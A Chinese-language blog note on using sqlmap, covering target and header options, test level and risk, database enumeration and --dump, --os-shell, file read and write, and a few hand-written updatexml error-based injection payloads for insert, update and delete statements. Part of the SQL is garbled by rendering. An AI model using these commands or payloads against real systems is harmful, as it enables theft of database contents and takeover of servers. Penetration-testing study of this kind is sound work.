sqlmap笔记

Sqlmap支持五种不同的注入模式 :
联合查询注入,报错注入,布尔型注入,基于时间延迟注入,可多语句查询注入

设置目标URL
-u /–url
最基本格式 sqlmap -u “http://www.target.com/index.php?id=1” // 必须有参数

-m
从文本中获取多个目标扫描,但是每一行只能有一个url
sqlmap -m urllist.txt

-r
从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据…等等。
把网站请求的头部复制到一个文本文档,如果绝对哪有注入点就在那加上*

sqlmap --purge-output //清空缓存

设置回显等级
参数:-v 默认1:
0,只显示ptthon错误以及严重的信息
1,同时显示基本信息和警告信息
2,同时显示debug信息。
3,同时显示注入的payload
4,同时显示HTTP请求
5,同时显示HTTP响应头
6,同时显示HTTP响应页面

设置HTTP数据包相关参数
参数:–data
此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数
python sqlmap.py -u “http://www.target.com/vuln.php” --data=“id=1”
–data=“username=11111&password=11111” -p username --level 3
&相当于and,-p指定测试什么参数,–level指定测试的强度
//像网址提交的参数是username和password,指定要测试的参数是username,测试的强度是3。

参数:–cookie
当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来加到–cookie参数中
–cookie=“Cookie:…”

设置HTTP数据包相关参数
HTTP User-Agent头
参数:–user-agent
默认情况下sqlmap的HTTP请求头中的User-agent值是:sqlmap/1.0-dev-xxxxxxxx。
这个时候可以手动指定伪造一个User-Agent
sqlmap -u “http://www.target.com” --level 3 --user-agent=“aaaaa” --dbs

参数:–random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --random-agent --dbs

sqlmap 检查user-agent中的注入点,level>=3才回取检查user-agent头是否存在注入漏洞

设置HTTP数据包相关参数
HTTP Referer头
参数:–referer //从哪个网址跳转过来访问的此页面
sqlmap可以在请求中伪造HTTP中的referer。
sqlmap-u “http://www.target.com/?id=1” --referer=“http://www.baidu.com”
当–level擦拭农户设定>=3时,会尝试进行referer注入。

设置HTTP数据包相关参数
–delay //一分钟内请求多少次
可以设置两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。
–timeout
可以设定一个http请求超过多少秒判定为超时,默认是30秒。

指定测试参数
-p
sqlmap默认会测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-agent和HTTP Referer头的值。
例如:-p “id,user-angent”

–skip
在使用–level时,级别很大的时候,但是有些参数不能去测试,那么可以使用–skip参数跳过。
例如:–skip=“user-agent,referer”

设定探测等级
–level (sqlmap -r 情况下)
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。
level>=2的时候就会测试HTTP Cookie
level>=3的时候就会测试HTTP User-Agent/Referer头
level=5的时候会测试HTTP Host

设定探测风险等级
–risk
共有四个风险等级,0-4,
默认是1会测试大部分的测试语句
2会增加基于时间的测试语句
3会增加OR语句的SQL注入测试
在有些时候,例如在update,delete的语句中,注入一个or测试语句可能导致更新的整个表,可能会造成很大的风险!!!!!!!!!!!!!!!!

例如 delete * from users where id =5
此时添加了一个or就会变成 delete * from users where id =5 or 1
or就会和前面的id=5变成一个表达式相当于 delete * from users where (id=5 or 1)
delete * from users where true
会直接删除users表中的所有数据!!!!!!!

列数据
–dbs, --users, --passwords
–technique:指定使用哪种注入类型
–current-db :当前数据库
–privileges:获取当前用户权限
-D database_name --tables 获取数据库名后获取表名
-D database_name -T table_name --columns 获取数据库名表名后获取列名
-D database_name -T table_name -C cokumn_2 --dump 获取数据库名表名列名后把里面的数据导出来–dump

一些常用的参数
–users 列出数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
–current-user 列出在大多数据库中可以获取到管理数据的用户
–is-dba 判断当前按的用户是否为管理,是的话会返回True。
–privileges 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限

–proxy 指定一个代理服务器 eg: -proxy http://local:8080
select * from users where id = (((‘1’))) and 1=1
–prefix = prefix 注入payload字符串前缀 //在url最后参数加东西
–suffix = suffix 注入payload字符串后缀 //在注入的代码最后加东西
eg: sqlmap -u “www.target.com/index.php?id=1” -p “id” --prefix “’))”
–suffix " and ((‘1’='1"
由此推测 sql语句是 select * from … where id =((‘1’))

使用shell命令:
参数–os-shell
前提:需要网站的物理路径,其次是需要FILE权限。
sqlmap -r “C:\sqlmap\request.txt” -p “id” --dms “mysql” --os-shell
接下来指定网站可写目录:
“C:\www”

sqlmap -u “www.a.com/1.php?id=1” --file-write=“d:/1.txt”
–file-read //文件读取
–file-write //文件写入
–batch //全自动 默认y
–start=开始读条 --stop结束读条
–dump //导出数据
–dump-all //导出所有数据
–purge-output //清空缓存目录
–sql-shell //反弹sqlshell,类似于sql查询分析器
–sql-query=“sql语句” //返回sql语句执行的数据
默认路径: .sqlmap

添加页面: 因为要把ip添加到数据库中所以可以对http的ip进行注入,通过brup在X-Forwarded-For:1’ or updatexml(1,concat(0x23,database(),0x23),3) or ’ 处注入
sql语句是 s q l = i n s e r t i n t o a d m i n l o g s ( u s e r n a m e , a d d t i m e , i p ) v a l u e s ( ′ sql= insert into adminlogs(username,addtime,ip)values(' sql=insertintoadminlogs(username,addtime,ip)values(username’,‘ a d d t i m e ′ , ′ addtime',' addtime,ip’)";
也可以对user-agent注入

修改页面: 在用户的输入框进行sql注入
sql语句是 $sql = updata users set username=‘111’,password=‘222’ where id =1
在username处注入的语句是:’ or updatexml(1,concat(0x23,database(),0x23)) or ’

注入后的sql语句是:$sql = updata users set username=‘111’ or updatexml(1,concat(0x23,database(),0x23)) or ’ ',password = ‘222’ where id=1

删除页面: 在删除页面处sql注入
delete * from users where id =1 and updatexml(1,concat(0x23,database()),3)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值